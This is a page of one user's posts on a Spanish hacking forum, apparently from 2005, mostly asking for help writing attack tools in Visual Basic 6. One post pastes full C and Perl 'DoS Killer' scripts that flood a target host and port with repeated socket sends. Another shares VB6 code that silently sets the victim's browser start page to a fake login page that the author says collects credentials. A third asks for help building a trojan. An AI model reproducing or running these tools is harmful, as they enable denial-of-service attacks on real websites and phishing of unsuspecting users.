elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 [3]
21  Programación / Ingeniería Inversa / Ayuda Numega SmartCheck en: 2 Octubre 2005, 14:18 pm
Lo que yo quiero hacer es ver un "poco" el código fuente de VB6 de una aplicación, sé que no "existe" el programa que te de el código fuente entero ni nada de eso, yo más que nada, quiero orientarme, bueno, asi pues...

Tengo dudas con el SmartCheck porque no lo entiendo básicamente...


En el smartcheck, ¿dónde puedo ver más o menos el código que me ofrece?, Aqui una captura:[/font]



Saludos, me pongo que notifique
22  Programación / Programación Visual Basic / DoS Killer en VB6 en: 26 Septiembre 2005, 20:56 pm
Bueno... con "DoS Killer" me refiero a una aplicación que hace DoS a una web determinada...
Siempre he tenido la intriga y curiosidad d hacerme una aplicación que haga DoS jejeje...
Pero siempre que busco por internet me lleva a links que ponen que delphi, perl, c es mejor que no vb y que tal y tal... pero no!! Yo busco en VB6
...

Me ha quedado MUY claro lo siguiente:

Citar
crear una matriz de sockets, y crear un bucle
e ir cargando cada socket y conectar a la web para realizar la
correspondiente petición

xD... pero no lo se poner en práctica... jejeje

Mirad, tengo los codes para hacer este tipo de programas, pero los tengo en C y perl, los posteo por si a alguien le interesa...


C
Código:
/*DoS Killer v2.0 - by Lympex

Prueba de concepto sobre conexiones de sockets en C.

Nota: Se le pueden añadir threads para realizar un ataque más fuerte.

Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
*/
#include <winsock.h>//sockets
#include <stdio.h>//i/o
#include <string.h>//strings

/*---*/
SOCKET s;/*el socket*/
/*estructuras*/
WSADATA wsa;
SOCKADDR_IN sin;
/*---*/

void main(int argc, char *argv[])
{
int Crea_Socket_Cliente(char *Ip, short int Puerto);//para crear el socket
char *HostIp(char *Host);//devuelve la Ip a partir del HOST

//para las repeticiones
unsigned int i,k;
//para el intervalo
unsigned int interval;
//para la información a enviar
char *buf;

if(argc!=6)
{
printf("\nDoS Killer v2.0 - by Lympex");
printf("\nPrueba de concepto de sockets en C");
printf("\n----------------------------------\n");
printf("\n[+] %s <host> <puerto> <string> <repeticiones> <intervalo(ms)>\n",argv[0]);
return;
}

/*cojemos los datos*/
i=atoi(argv[4]);
interval=atoi(argv[5]);

printf("\n[+] Creando la conexion...");
/*CREAMOS EL SOCKET*/
if(Crea_Socket_Cliente(HostIp(argv[1]),atoi(argv[2]))==1)
{
printf("\nError al crear el socket\n");
WSACleanup();
return;
}
printf("OK");

printf("\n[+] Conectando...");
/*CONECTAMOS SEGÚN LOS DATOS QUE NOS HAN DADO*/
if(connect(s,(LPSOCKADDR)&sin,sizeof(sin))==SOCKET_ERROR)
{
printf("\n[!] Error al conectar\n");

WSACleanup();
return;
}
printf("OK");

//creamos la string a enviar
buf=(char *) malloc(strlen(argv[3])*sizeof(char));
strcpy(buf,argv[3]);strcat(buf,"\n");

printf("\n[+] Realizando ataque DoS: ");
if(i==0)
{
for(;;)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}else{
//creamos el bucle para enviar los datos
for(k=0;k<i;k++)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}

printf("OK\n");

//salimos
WSACleanup();
return;
}

int Crea_Socket_Cliente(char *Ip, short int Puerto)
{
//iniciamos la librería socket
WSAStartup(MAKEWORD(1,1),&wsa);
//creamos el socket
s=socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET)
{
return 1;
}

//asignamos los datos
sin.sin_family=AF_INET;
sin.sin_port=htons(Puerto);
sin.sin_addr.s_addr=inet_addr(Ip);

return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}


PERL
Código:
#DoS Killer 1.0 - by Lympex
#
#Prueba de concepto de cómo realizar ataques DoS en Perl
#
#Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
#

if(@ARGV!=4)
{
print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n";
print "\n[+] Uso: DoSKiller.pl <servidor> <puerto> <string> <veces>";
exit;
}

#los datos
my $host=@ARGV[0];
my $puerto=@ARGV[1];
my $cadena=@ARGV[2];
my $veces=@ARGV[3];
#el socket
use IO::Socket;

print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n\n[+] Conectando...\n";

my $sock = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$puerto",
                                 Proto => "tcp",
                                );
die "[!] Error al conectar\n" unless $sock;

#creamos el bucle para enviar los datos

print "[+] Realizando ataque DoS...";

if($veces==0)
{
for(;;)
{
print $sock "$cadena\n";
print ".";
}
}else{
for($i=0;$i<$veces;$i++)
{
print $sock "$cadena\n";
print ".";
}
}

print "\n";
close($sock);
exit;

#http://l-bytes.tk


Ok... Bueno, si alguien me puede facilitar el source en VB para este tipo de aplicaciones para hacer DoS a una web... Se lo agradecería mucho... Saludos...
Mientras tanto sigo "estudiando" el tema de los sockets
23  Programación / Programación Visual Basic / Pregunta interesante-VB en: 2 Septiembre 2005, 21:09 pm
Hola, bueno, hoy he creado una aplicación que lo que hace es que la persona que lo abre se le pone como página de incio de internet la que yo he configurado, esto lo he hecho servir para hacer como una especie de "fake" he puesto que se le ponga como página de inicio un falso inicio de sesión, lo rellena y llega a mi db XD que lista soy, eh? ajajajaj es coña


bueno, aki esta el code:


Código:
Const REG_SZ = 1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
   
    RegCreateKey hKey, strPath, Ret
   
    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
   
    RegCloseKey Ret
End Sub

Private Sub Form_Load()
 Dim strString As String
 
 strString = Label1.Caption
 
 SaveString HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", strString
 MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation
 End
End Sub



entonces, mi duda es esta:

en vez de:

Código:
MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation

no se si
Código:
vbInformation

corresponde a algo del mensaje d alerta o no xD

lo q yo quiero es q en vez de poner el mensaje ese, se abra una web, entonces en esa web, sera mia y hare una animacion o un juego, nose, el caso es q quiero q se abra una web, para q m orienteis, como seria mas o menos para q se abriera una web (orientadme sobre el code)

GRACIAS
ME PONGO QUE NOTIFIQUE RESPUESTAS  ;D
24  Programación / Programación Visual Basic / Porqué???!!!!! duda al crear troyano en vb en: 1 Septiembre 2005, 20:40 pm
bueno amiguetes foreros.. estoy intentando crear un troyano en vb, tengo una web de mucha ayuda:


http://www.elguruprogramador.com.ar/zonas/ver.asp?id=63


///

bueno, el caso es q como para saber correr primero se debe caminar estoy yendo de lo minimo a lo maxico y he intentado hacer un program que al abrirlo salga tu ip, LO SE HACER!!! pero mi ordenador me lo impide porq no etngo red local, si no, red inalambrica y entonces me da error en el localip

ntonces, como no tengo red local me impide poder compilar o previsualizar al picar play, mirad, aki una captura

espero q m podais ayudar...



Citar
Ejemplo 1.

Crear un Proyecto (EXE Estándar) y agregar el WinSock Control. Luego agregar una etiqueta vacía, es decir un Label. Despues introducimos el siguiente código.

Private Sub Form_Load()
   Label1.caption = WinSock1.LocalIP
End Sub

Este simple ejemplo nos da de forma rápida nuestro IP, aunque no estemos conectados a Internet el IP aparece igual, solo que siempre va a tomar el valor : 127.0.0.1

Ahora que sabemos manejar las propiedades podemos seguir con los Métodos. A continuación la lista de algunos de los Métodos más importantes del Control WinSock.




hago todo eso perfe y me sale todo perfe pero mi pc no m deja ni compilar ni previsualizar porq no tengo red local si no inalambrica

espero explicarme bien.....

aki captura:

Páginas: 1 2 [3]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines